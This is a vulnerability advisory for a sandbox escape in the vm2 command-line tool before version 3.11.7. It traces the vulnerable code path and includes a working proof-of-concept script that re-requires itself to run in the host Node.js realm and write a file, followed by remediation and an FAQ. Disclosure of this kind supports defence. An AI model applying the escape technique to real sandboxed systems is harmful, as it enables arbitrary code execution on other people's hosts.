CVE-2026-92950: vm2 before 3.11.7 Sandbox Escape via CLI require
Summary The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(filename) to re-execute itself in host realm and reach fs, childprocess, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.
Details The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.
Vulnerable code path
1. Source - bin/vm2:3 → lib/cli.js:7-18. process.argv[2] is the attacker-authored script path. The CLI invokes: js NodeVM.file(path, { verbose: true, require: { external: true } }); Without require.root, require.context, nor require.builtin. 2. Hop - lib/nodevm.js:618-636. NodeVM.file reads the file and calls new NodeVM(options).run(body, resolvedFilename). 3. Hop - lib/nodevm.js:335 → lib/resolver-compat.js:205-266 (makeResolverFromLegacyOptions). Destructures external:true, rootPaths=undefined, hostRequire=defaultRequire (line 218), context='host' (default, line 219). Because typeof externalOpt !== 'object' (line 265) it returns a CustomResolver with checkedRootPaths=undefined and pathContext = () => 'host' (line 263). 4. Hop - lib/setup-node-sandbox.js:86-123 (requireImpl). Sandbox require(id) resolves via resolver.resolve(...) (lib/nodevm.js:380-383). lib/resolver.js:244-275 handles absolute/relative specifiers; tryFile at lib/resolver.js:327-329 gates on this.isPathAllowed(x). 5. Barrier (gap) - lib/resolver-compat.js:53-54: js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; With no root configured, every filesystem path is allowed. checkAccess (lib/resolver.js:39-42) delegates to the same method. 6. Sink - lib/resolver-compat.js:74-77: js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); } hostRequire is defaultRequire (lib/resolver-compat.js:20-23) - the real host require(). The required module's top-level body executes in the host realm before vm.readonly() wraps the exports; wrapping happens too late to constrain side-effects. loadNode (lib/resolver-compat.js:80-83) is identical for .node native addons (process.dlopen in host).
PoC Save the following as /tmp/poc.js:
js 'use strict'; try { // Host realm: fs is available - write sentinel and stop. const fs = require('fs'); fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n'); console.log('HOST realm: wrote /tmp/vm2.proof'); } catch (e) { // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file - // the CLI resolver loads it via host require() (resolver-compat.js:76). console.log('sandbox realm: fs blocked (' + e.message + '); escaping'); require(filename); }
Run via the shipped CLI exactly as the README documents:
sh node ./bin/vm2 /tmp/poc.js # or vm2 /tmp/poc.js after npm i -g vm2
Observed output:
sandbox realm: fs blocked (Cannot find module 'fs'); escaping HOST realm: wrote /tmp/vm2.proof
/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose direct require('fs') was blocked by the sandbox. The first line proves the boundary exists; the second proves it was crossed.
Impact A user who follows the README's CLI section and runs vm2 ./untrusted.js on an attacker-supplied file gets arbitrary code execution as that user - the sandbox provides no isolation in this configuration. The blast radius is the full host Node.js process: fs, childprocess, process.dlopen, network, environment.
Other sources
vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and childprocess.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.7 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.7
Event History
Frequently Asked Questions
Who is exposed to this issue?
Users of the vm2 CLI with versions before 3.11.7 are exposed when they execute an attacker-supplied script file. The issue affects the CLI execution path rather than being described as a general sandbox escape for all vm2 usage.
What must an attacker do to exploit it?
The attacker must cause a malicious script file to be supplied to and executed by the vm2 CLI. The script uses require(__filename) to re-execute in the host Node.js realm, where it can access host modules including fs and child_process.
What is the impact after successful exploitation?
Successful exploitation permits arbitrary code execution in the host Node.js process. This bypasses the intended sandbox isolation and can expose confidentiality, integrity, and availability of the host environment.
What version remediates the issue?
Update vm2 to version 3.11.7 or later. Versions before 3.11.7 are affected.